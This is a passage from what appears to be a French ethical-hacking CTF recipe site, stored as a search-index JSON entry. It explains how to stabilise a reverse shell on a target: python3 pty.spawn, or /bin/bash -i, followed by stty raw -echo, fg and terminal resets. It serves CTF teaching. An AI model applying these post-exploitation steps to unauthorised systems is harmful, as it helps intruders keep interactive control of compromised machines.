stable, proche d’une session SSH, en apportant : un pseudo-TTY côté distant la gestion correcte des signaux (Ctrl+C, Ctrl+Z) l’auto-complétion et l’historique un affichage propre pour les outils plein écran (nano, less, top) C’est la méthode standard en CTF dès que Python est disponible sur la cible. Dans le terminal Bash du Reverse Shell python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Mets le shell en arrière-plan (Ctrl+Z) Continue dans le terminal et tape une à une les commandes suivantes: stty raw -echo; fg export TERM=xterm stty cols 132 rows 34 Adapte cols et rows à la taille réelle de ton terminal local. Variante sans Python (via /dev/tty) Objectif Obtenir : un TTY interactif la gestion correcte des signaux (Ctrl+C, Ctrl+Z) l’auto-complétion un affichage propre Cette variante est utile lorsque Python n’est pas disponible sur la cible. Dans le reverse shell (bash ou sh) /bin/bash -i Si /bin/bash n’est pas disponible, utiliser : /bin/sh -i Mets le shell en arrière-plan Ctrl+Z Dans ton terminal local (Kali) stty raw -echo fg Réinitialise correctement le terminal distant reset export TERM=xterm stty cols 132 rows 34 Adapte cols et rows à la taille réelle de ton terminal local. ","date":"0001-01-01T00:00:00Z","lastmod":"2026-02-16T16:56:52+01:00","permalink":"https://writeups.hackethical.be/recettes/stabiliser-reverse-shell/","summary":"Variante avec Python (pty.spawn) Objectifs Cette méthode permet de transformer un reverse shell basique en un shell interactif stable, proche d’une session SSH, en apportant :\nun pseudo-TTY côté distant la gestion correcte des signaux (Ctrl+C, Ctrl+Z) l’auto-complétion et l’historique un affichage propre pour les outils plein écran (nano, less, top) C’est la méthode standard en CTF dès que Python est disponible sur la cible.\nDans le terminal Bash du Reverse Shell python3 -c \u0026#39;import pty; pty.spawn(\u0026#34;/bin/bash\u0026#34;)\u0026#39; Mets le shell en arrière-plan (Ctrl+Z) Continue dans le terminal et tape une à une les commandes suivantes: stty raw -echo; fg export TERM=xterm stty cols 132 rows 34 Adapte cols et rows à la taille réelle de ton terminal local.\n","tags":["recettes","tools","reverse-shell","bash"],"title":"Stabiliser un Reverse Shell Bash"}]